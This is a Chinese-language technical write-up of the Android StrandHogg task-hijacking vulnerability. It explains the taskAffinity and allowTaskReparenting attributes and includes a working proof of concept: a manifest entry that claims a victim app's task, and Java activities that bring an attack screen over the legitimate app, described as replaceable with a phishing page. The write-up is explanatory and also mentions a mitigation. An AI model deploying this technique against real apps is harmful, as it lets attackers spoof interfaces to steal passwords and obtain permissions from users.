影响范围
2.0版本无需使用特殊的AndroidManifest.xml配置项(taskAffinity),同时可以一次攻击多个应用,所以具备更强的隐蔽性和更大的危害。成功利用该漏洞可以导致界面欺骗,从而诱导用户输入敏感信息和/或授予敏感权限,进而造成敏感数据泄露,如密码、位置信息等等。
该漏洞影响的Android版本:8.0 ~ 9.0,最新的Android 10.0不受影(经过测试貌似安卓10也是可以复现成功)。
漏洞危害
攻击者不仅可以利用该漏洞精心设计一个页面来进行钓鱼攻击,也可以利用该漏洞诱导用户授予恶意软件相应权限进行恶意攻击
要点
taskAffinity 属性
官方文档: https://developer.android.com/guide/topics/manifest/activity-element.html#reparent
当下一次将启动 Activity 的任务转至前台时,Activity 是否能从该任务转移至与其有相似性的任务 —“true”表示可以转移,“false”表示仍须留在启动它的任务处。(其中的相似性后面再讲,暂且理解成同一个任务栈)
1.与 Activity 有着亲和关系的任务。从概念上讲,具有相同亲和关系的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。
2.任务的亲和关系由其根 Activity 的亲和关系确定。
3.亲和关系确定两件事 - Activity 更改到的父项任务(allowTaskReparenting 属性设置“true”和taskAffinity设置父任务)和通过 FLAG_ACTIVITY_NEW_TASK 标志启动 Activity 时将用来容纳它的任务。
4.默认情况下,应用中的所有 Activity 都具有相同的亲和关系。您可以设置该属性来以不同方式组合它们,甚至可以将在不同应用中定义的 Activity 置于同一任务内。 要指定 Activity 与任何任务均无亲和关系,请将其设置为空字符串。如果未设置该属性,则 Activity 继承为应用设置的亲和关系。
5.应用默认亲和关系的名称是元素设置的软件包名称。
SingleTask启动模式可通用taskAffinity设置启动任务栈。由于应用默认亲和关系的名称是元素设置的软件包名称,设置为空字符串可避免StrandHogg漏洞。
启动模式
launchMode 使用场景
singleTop 适合启动同类型的 Activity,例如接收通知启动的内容显示页面
singleTask 适合作为程序入口
singleInstance 适合需要与程序分离开的页面,例如闹铃的响铃界面
假设存在一个任务栈,将此任务栈命名为Task_1 Task_1中存放着两个Activity,分别是Activity_1和Activity_2,并且这个任务栈中的两个活动均在后台运行,用户不可见 假设Activity_1的allowTaskReparenting属性为true Activity_2的allowTaskReparenting属性为默认值false 当用户 启动Activity_2时,任务栈Task_1也就随着Activity_2到达前台 但Activity_1的allowTaskReparenting属性为true,根据官方文档的解释,该活动能从后台转移至与其有相似性的任务,也就是同样转移至Task_1, 而此时Task_1已经在前台了,相当于Activity_1在Activity_2启动之后也启动了,从而到达了最顶层,而用户最终看到的活动也就是Activity_1了
理解完allowTaskReparenting属性之后.就要解释taskAffinity属性了 taskAffinity直接翻译过来就是任务相关性, 官方文档对该属性的解释为: 从概念上讲,具有同一相似性的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。任务的相似性由其根 Activity 的相似性确定。 而确定应用相似性的属性就是taskAffinity 首先要知道,若应用没有特别定义taskAffinity的内容的话 则该应用中每个活动的taskAffinity属性的默认内容就是应用包名,所以在没有特别定义taskAffinity的应用中,每个活动均在同一个任务栈中
恶意活动的清单文件代码
<activity android:name=".Attack" android:taskAffinity="com.victim.app" android:allowTaskReparenting="true" />
而要实现将恶意活动插入到合法活动之前,首先就需要恶意活动在合法活动的任务栈中 需要注意的是任务栈可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一个任务栈 这就可以解释为什么需要恶意活动的taskAffinity属性为欲攻击应用的包名,这样就能让恶意活动与合法活动存在于同一任务栈中了 接着使恶意活动的allowTaskReparenting属性为true,这样就能在合法应用中的活动转至前台时,使得恶意活动同样转至前台 至此,整个攻击流程结束
复现操作
MainActivity.java
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //setContentView(R.layout.activity_main); Intent innocent,attack; attack=new Intent(this,Attack.class); attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//将attack活动放置在一个新task中 attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消过度动画,增加恶意软件迷惑性 innocent=new Intent(this,Innocent.class); innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivities(new Intent[]{attack,innocent});//先后启动attack活动与innocent活动 finish(); } }
Attack.java
public class Attack extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.attack); } }
Innocent.java
public class Innocent extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
activity_main.xml ->此页面自行更改,正常用户使用界面即可
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent"/> </LinearLayout>
attack.xml ->此页面自行更改,可改为钓鱼页面
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:textSize="30dp" android:text="我劫持了qq!"/> </LinearLayout>
源代码:https://wwi.lanzouw.com/i0Eekzwvjkh